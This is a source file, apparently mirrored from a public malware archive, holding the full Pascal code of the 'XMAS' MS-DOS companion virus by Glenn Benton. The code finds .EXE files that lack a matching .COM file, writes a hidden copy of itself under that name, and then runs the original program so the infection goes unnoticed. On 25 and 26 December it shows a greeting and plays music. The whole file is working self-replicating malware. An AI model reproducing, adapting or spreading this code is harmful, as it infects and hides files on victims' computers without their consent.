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mirror of https://github.com/vxunderground/MalwareSourceCode synced 2024-06-16 12:08:36 +00:00
vxug-MalwareSourceCode/MSDOS/Virus.MSDOS.X-MAS.pas
vxunderground 9432413cf6 mov fix
2022-08-21 04:23:18 -05:00

180 lines
4.1 KiB
ObjectPascal

{
XMAS Virus, a non-resident spawning .EXE infector by Glenn Benton
To be compiled with Turbo Assembler 6.0
Files required : XMAS.PAS - Viral part (this one)
XMAS.OBJ - Music data (composed by myself!)
PLAYIT.TPU - Music player engine
Set the environment variables for different effects :
SET XMAS=YES (Disable virus)
SET XMAS=TST (Plays the music only)
SET XMAS=DEL (Deletes the virus when a program is started)
The compiled virus example is compressed and uses 6888 bytes...
On 25th and 26th the virus activates, playing the music and
wishes you a merry X-mas (nice of me, isn't it?)
}
Program Xmas;
{$M 4096,0,512}
Uses Crt, Dos, Playit;
Label StartOrig;
Var
Year, Month, Day, DayOfWeek : Word;
DirInfo : SearchRec;
ComSeek : SearchRec;
FileFound : Boolean;
FileName : String;
Parameters : String;
OrigName : String;
P : Byte;
ExtHere : Boolean;
Teller : Word;
StopChar : Char;
FromF : File;
{Dit is de data van het te spelen liedje}
{$L XMAS.OBJ}
Procedure Christmas; EXTERNAL;
{Deze routine wordt aangeroepen als het 25 of 26 december is}
Procedure Active;
Begin;
StopChar := #0;
ClrScr;
GotoXY(32,5);
WriteLn('Merry Christmas');
GotoXY(38,7);
WriteLn('and');
GotoXY(31,9);
WriteLn('A Happy New Year!');
GotoXy(31,11);
WriteLn('Wished To You By:');
GotoXy(34,17);
WriteLn('Glenn Benton');
GotoXy(27,24);
WriteLn('Press any key to continue');
Repeat
PlayOBJ(@Christmas, TRUE, StopChar);
Until StopChar<>#0;
End;
{Deze procedure zoekt een EXE file waarvan er geen COM is en stuurt het
resultaat in de boolean FileFound en de naam van het te maken COM bestand
in FileName}
Procedure FileSeek;
Label Seeker, FileSeekOk;
Begin;
FileFound:=False;
FindFirst('*.EXE',Anyfile,DirInfo);
Seeker:
If DosError=18 Then Exit;
FileName:= DirInfo.Name;
Delete(FileName,Length(FileName)-2,3);
Insert('COM',FileName,Length(FileName)+1);
FindFirst(FileName,AnyFile,ComSeek);
If DosError=18 Then Goto FileSeekOk;
FindNext(DirInfo);
Goto Seeker;
FileSeekOk:
FileFound:=True;
End;
Procedure CopyFile;
var
FromF, ToF: file;
NumRead, NumWritten: Word;
buf: array[1..512] of Char;
begin;
{ Open input file }
Assign(FromF, ParamStr(0));
{ Record size = 1 }
Reset(FromF, 1);
{ Open output file }
Assign(ToF, FileName);
{ Record size = 1 }
Rewrite(ToF, 1);
repeat
BlockRead(FromF,buf,
SizeOf(buf),NumRead);
BlockWrite(ToF,buf,NumRead,NumWritten);
until (NumRead = 0) or
(NumWritten <> NumRead);
Close(FromF);
Close(ToF);
Assign(ToF,FileName);
SetFAttr(ToF,Hidden);
end;
Begin; {Hoofdprocedure}
If (GetEnv('XMAS')='DEL') or (GetEnv('XMAS')='del') Then
Begin;
OrigName:=ParamStr(0);
ExtHere:=False;
P:=Pos('.COM',OrigName);
If P<>0 Then ExtHere:=True;
P:=Pos('.com',OrigName);
If P<>0 Then ExtHere:=True;
If ExtHere=False Then
OrigName:=OrigName+'.COM';
Assign(FromF, OrigName);
SetFAttr(FromF,Archive);
Erase(FromF);
Goto StartOrig;
End;
If (GetEnv('XMAS')='TST') or (GetEnv('XMAS')='tst') Then
Begin;
Active;
Goto StartOrig;
End;
If (GetEnv('XMAS')='YES') or (GetEnv('XMAS')='yes') Then Goto StartOrig;
{Datum bekijken of het 25 of 26 december is en indien juist Active aanroepen}
GetDate(Year, Month, Day, DayOfWeek);
If (Month=12) and ((Day=25) or (Day=26)) then Active;
{Procedure voor EXE file zoeken aanroepen}
FileSeek;
{Als er een kandidaat is gevonden, dit prg als COM erbij zetten}
If FileFound=False Then Goto StartOrig;
CopyFile;
StartOrig:
Parameters:='';
For Teller:= 1 to ParamCount Do Parameters:=Parameters+' '+ParamStr(Teller);
OrigName:=ParamStr(0);
ExtHere:=False;
P:=Pos('.COM',OrigName);
If P<>0 Then ExtHere:=True;
P:=Pos('.com',OrigName);
If P<>0 Then ExtHere:=True;
If ExtHere=False Then
OrigName:=OrigName+'.EXE';
If ExtHere=True Then
Begin;
Delete(OrigName,Length(OrigName)-3,4);
OrigName:=OrigName+'.EXE';
End;
SwapVectors;
Exec(OrigName,Parameters);
SwapVectors;
Halt(DosExitCode);
End.